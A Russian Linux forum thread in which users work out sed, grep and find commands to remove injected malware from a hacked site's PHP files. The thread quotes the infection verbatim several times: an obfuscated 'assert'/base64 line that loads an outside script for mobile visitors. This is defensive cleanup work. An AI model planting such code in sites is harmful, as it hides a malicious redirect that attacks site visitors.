эх. Дока не хватает. в пару строк решил бы задачу
"Мы изобрели новый протокол передачи данных, мы назвали его TCP/IP" 1995 (c) Билл Гейтс
Настоятельно просим вас при общении соблюдать Правила форума и законы РФ. Наша тематика вне политики, поэтому воздержитесь от обсуждения ситуации на Украине и связанных с ней событий, независимо от того, какую сторону вы поддерживаете.
Также напоминаем, что наш форум находится в доменной зоне .ru, физически расположен на российских серверах и мы соблюдаем действующее законодательство России. Любые сообщения о политике будут удаляться.
Linux Forum → Администрирование и настройка сетей → Поиск и замена сложных строк
Чтобы отправить ответ, вы должны войти или зарегистрироваться
эх. Дока не хватает. в пару строк решил бы задачу
ну вы тут и нафлудили... всё же достаточно просто:
alexander@goblin /tmp $ cat ./s.sed
#!/bin/sed -f
/<?php/{
N
N
s!^<?php\n\$_ = strrev('tressa'); @\$_("e\\166\\141\\154\\050b\\141\\163\\145\\066\\064\\137\\144\\145\\143\\157\\144\\145\\050'aWYgKChwcmVnX21hdGNoKCcvdGV4dFwvdm5kLndhcC53bWx8YXBwbGljYXRpb25cL3ZuZC53YXAueGh0bWxcK3htbC9zaScsIEAkX1NFUlZFUlsnSFRUUF9BQ0NFUFQnXSkgfHwgcHJlZ19tYXRjaCgnL2FsY2F0ZWx8YW1vaXxhbmRyb2lkfGF2YW50Z298YmxhY2tiZXJyeXxiZW5xfGNlbGx8Y3JpY2tldHxkb2NvbW98ZWxhaW5lfGh0Y3xpZW1vYmlsZXxpcGhvbmV8aXBhZHxpcGFxfGlwb2R8ajJtZXxqYXZhfG9wZXJhLm1pbml8bWlkcHxtbXB8bW9iaXxtb3Rvcm9sYXxuZWMtfG5va2lhfHBhbG18cGFuYXNvbmljfHBoaWxpcHN8cGhvbmV8c2FnZW18c2hhcnB8c2llLXxzbWFydHBob25lfHNvbnl8c3ltYmlhbnx0LW1vYmlsZXx0ZWx1c3x1cFwuYnJvd3Nlcnx1cFwubGlua3x2b2RhZm9uZXx3YXB8d2Vib3N8d2lyZWxlc3N8eGRhfHhvb218enRlL3NpJywgQCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgfHwgcHJlZ19tYXRjaCgnL21zZWFyY2h8bVw/cT0vc2knLCBAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkgJiYgIXByZWdfbWF0Y2goJy9tYWNpbnRvc2h8YW1lcmljYXxhdmFudHxkb3dubG9hZHx3aW5kb3dzXC1tZWRpYVwtcGxheWVyfHlhbmRleHxnb29nbGUvc2knLCBAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyBlY2hvICc8c2NyaXB0IHNyYz0iaHR0cDovL21vYmlsZS1jb250ZW50LmluZm8vanF1ZXJ5LTEuNy4xLmpzIj48L3NjcmlwdD4nOyBmbHVzaCgpOyBleGl0OyB9'\\051\\051\\073");\n?>$!// here was bad evil virus!
}
alexander@goblin /tmp $ head f
<?php
$_ = strrev('tressa'); @$_("e\166\141\154\050b\141\163\145\066\064\137\144\145\143\157\144\145\050'aWYgKChwcmVnX21hdGNoKCcvdGV4dFwvdm5kLndhcC53bWx8YXBwbGljYXRpb25cL3ZuZC53YXAueGh0bWxcK3htbC9zaScsIEAkX1NFUlZFUlsnSFRUUF9BQ0NFUFQnXSkgfHwgcHJlZ19tYXRjaCgnL2FsY2F0ZWx8YW1vaXxhbmRyb2lkfGF2YW50Z298YmxhY2tiZXJyeXxiZW5xfGNlbGx8Y3JpY2tldHxkb2NvbW98ZWxhaW5lfGh0Y3xpZW1vYmlsZXxpcGhvbmV8aXBhZHxpcGFxfGlwb2R8ajJtZXxqYXZhfG9wZXJhLm1pbml8bWlkcHxtbXB8bW9iaXxtb3Rvcm9sYXxuZWMtfG5va2lhfHBhbG18cGFuYXNvbmljfHBoaWxpcHN8cGhvbmV8c2FnZW18c2hhcnB8c2llLXxzbWFydHBob25lfHNvbnl8c3ltYmlhbnx0LW1vYmlsZXx0ZWx1c3x1cFwuYnJvd3Nlcnx1cFwubGlua3x2b2RhZm9uZXx3YXB8d2Vib3N8d2lyZWxlc3N8eGRhfHhvb218enRlL3NpJywgQCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgfHwgcHJlZ19tYXRjaCgnL21zZWFyY2h8bVw/cT0vc2knLCBAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkgJiYgIXByZWdfbWF0Y2goJy9tYWNpbnRvc2h8YW1lcmljYXxhdmFudHxkb3dubG9hZHx3aW5kb3dzXC1tZWRpYVwtcGxheWVyfHlhbmRleHxnb29nbGUvc2knLCBAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyBlY2hvICc8c2NyaXB0IHNyYz0iaHR0cDovL21vYmlsZS1jb250ZW50LmluZm8vanF1ZXJ5LTEuNy4xLmpzIj48L3NjcmlwdD4nOyBmbHVzaCgpOyBleGl0OyB9'\051\051\073");
?>
<?php
/**
* Override of theme_breadcrumb().
*/
function garland_breadcrumb($variables) {
$breadcrumb = $variables['breadcrumb'];
alexander@goblin /tmp $ ./s.sed f |head
// here was bad evil virus
<?php
/**
* Override of theme_breadcrumb().
*/
function garland_breadcrumb($variables) {
$breadcrumb = $variables['breadcrumb'];
if (!empty($breadcrumb)) {Не хватает знаний, поэтому и прошу помощи. Я много информации перечитал, пол дня просидел, решения пока не нашел.
обычно после этого выкладывают свой нерабочий вариант...
первый раз слышу такое.. 99,5почему не 99,9?сомневаешься?)
в 0,4999 случаях на sed'е пытаются калькулятор или тетрис написать... это возможно, но рука сама тянется к виску...
ну вот и Фат пришел)
доброе утро!
а мы пожалуй спать. всю ночь пить, петь караоке, да еще тут задачи решать, подзадротел-подзадротел..
Нужно удалить вредный код из файла, grep -v tressa удалить код только из вывода.
Конструкция (rm file; something > file) < file — это переносимый способ для редактирования файла “на месте” (данные читаются из файла, модифицируются и записываются обратно в тот же файл).
А браузер не ОПЕРА случайно? Точнее не так, не любите ли вы проводить время под браузером Opera в своем коде, когда копошитесь? Вот так будет намного корректней.
ну вы тут и нафлудили... всё же достаточно просто:
К сожалению, не понял как применить ваше решение.
обычно после этого выкладывают свой нерабочий вариант...
Учту, вариантов было много, в основном эксперименты с sed.
Ссылка в тему »
Очень полезная статья, спасибо.
А браузер не ОПЕРА случайно? Точнее не так, не любите ли вы проводить время под браузером Opera в своем коде, когда копошитесь? Вот так будет намного корректней.
Оперой перестал пользоваться, как только закончилось время dialup. Сайты взломали не у меня, я просто помогаю в удалении заразы.
Пока искал решение, более опытный коллега решил задачу проще.
Находим зараженные скрипты и записываем список в фаил
find ./ -type f -name "*.php" -print | xargs grep -l -e "$_ = strrev('tressa')" > listУдаляем код вируса:
for i in `cat list`; do sed -i '1,3d' $i; doneВирус записывался в первые три строки файла, поэтому наиболее простое решение, просто удаление первых трех строк.
К сожалению, не понял как применить ваше решение.
парсить всё это по такому шаблону:
alexander@goblin /tmp $ cat ./s.sed
<код sed скрипта>
alexander@goblin /tmp $ head f
<показал, что было до применения>
alexander@goblin /tmp $ ./s.sed f | head
<показал, как оно работает и что получается после>
ну вы тут и нафлудили... всё же достаточно просто:
Спасибо вам за помощь, разобрался как применить. Сделал
sed -i -f s.sed script.phpв s.sed поместил сигнатуру.
Код все время один и тот же, и все время это три строки вначале файла. Можно было бы удалить первые три строки, но дело в том, что код есть не во всех файлах (можно испортить не зараженный скрипты).
Вирус записывался в первые три строки файла, поэтому наиболее простое решение, просто удаление первых трех строк.
ну ты и флудерас
sibero пишет:
Код все время один и тот же, и все время это три строки вначале файла. Можно было бы удалить первые три строки, но дело в том, что код есть не во всех файлах (можно испортить не зараженный скрипты).
sibero пишет:
Вирус записывался в первые три строки файла, поэтому наиболее простое решение, просто удаление первых трех строк.
ну ты и флудерас
Хотелось более универсальное решение сделать, изначально я не хотел решать задачу таким способом. Решения которые предложили Lupo Alberto и Fat-Zer, мне нравятся гораздо больше.
alexander@goblin /tmp $
cat ./s.sed #!/bin/sed -f /<?php/{ N N s!^<?php\n\$_ = strrev('tressa'); @\$_("e\\166\\141\\154\\050b\\141\\163\\145\\066\\064\\137\\144\\145\\143\\157\\144\\145\\050'aWYgKChwcmVnX21hdGNoKCcvdGV4dFwvdm5kLndhcC53bWx8YXBwbGljYXRpb25cL3ZuZC53YXAueGh0bWxcK3htbC9zaScsIEAkX1NFUlZFUlsnSFRUUF9BQ0NFUFQnXSkgfHwgcHJlZ19tYXRjaCgnL2FsY2F0ZWx8YW1vaXxhbmRyb2lkfGF2YW50Z298YmxhY2tiZXJyeXxiZW5xfGNlbGx8Y3JpY2tldHxkb2NvbW98ZWxhaW5lfGh0Y3xpZW1vYmlsZXxpcGhvbmV8aXBhZHxpcGFxfGlwb2R8ajJtZXxqYXZhfG9wZXJhLm1pbml8bWlkcHxtbXB8bW9iaXxtb3Rvcm9sYXxuZWMtfG5va2lhfHBhbG18cGFuYXNvbmljfHBoaWxpcHN8cGhvbmV8c2FnZW18c2hhcnB8c2llLXxzbWFydHBob25lfHNvbnl8c3ltYmlhbnx0LW1vYmlsZXx0ZWx1c3x1cFwuYnJvd3Nlcnx1cFwubGlua3x2b2RhZm9uZXx3YXB8d2Vib3N8d2lyZWxlc3N8eGRhfHhvb218enRlL3NpJywgQCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgfHwgcHJlZ19tYXRjaCgnL21zZWFyY2h8bVw/cT0vc2knLCBAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkgJiYgIXByZWdfbWF0Y2goJy9tYWNpbnRvc2h8YW1lcmljYXxhdmFudHxkb3dubG9hZHx3aW5kb3dzXC1tZWRpYVwtcGxheWVyfHlhbmRleHxnb29nbGUvc2knLCBAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyBlY2hvICc8c2NyaXB0IHNyYz0iaHR0cDovL21vYmlsZS1jb250ZW50LmluZm8vanF1ZXJ5LTEuNy4xLmpzIj48L3NjcmlwdD4nOyBmbHVzaCgpOyBleGl0OyB9'\\051\\051\\073");\n?>$!// here was bad evil virus!
Данный код удаляет вредоносный код, только если он расположен вверху файла, а как удалять код по сигнатуре не зависимо от того, в какой части файла он располагается?
Данный код удаляет вредоносный код, только если он расположен вверху файла, а как удалять код по сигнатуре не зависимо от того, в какой части файла он располагается?
1) пример в студию...
2) не хватает скобки в конце...
Хотя нет, что то с сайтом доктора.
Кодировка KOI8-R.
Чтобы отправить ответ, вы должны войти или зарегистрироваться
Linux Forum → Администрирование и настройка сетей → Поиск и замена сложных строк
Форум работает на PunBB, при поддержке Informer Technologies, Inc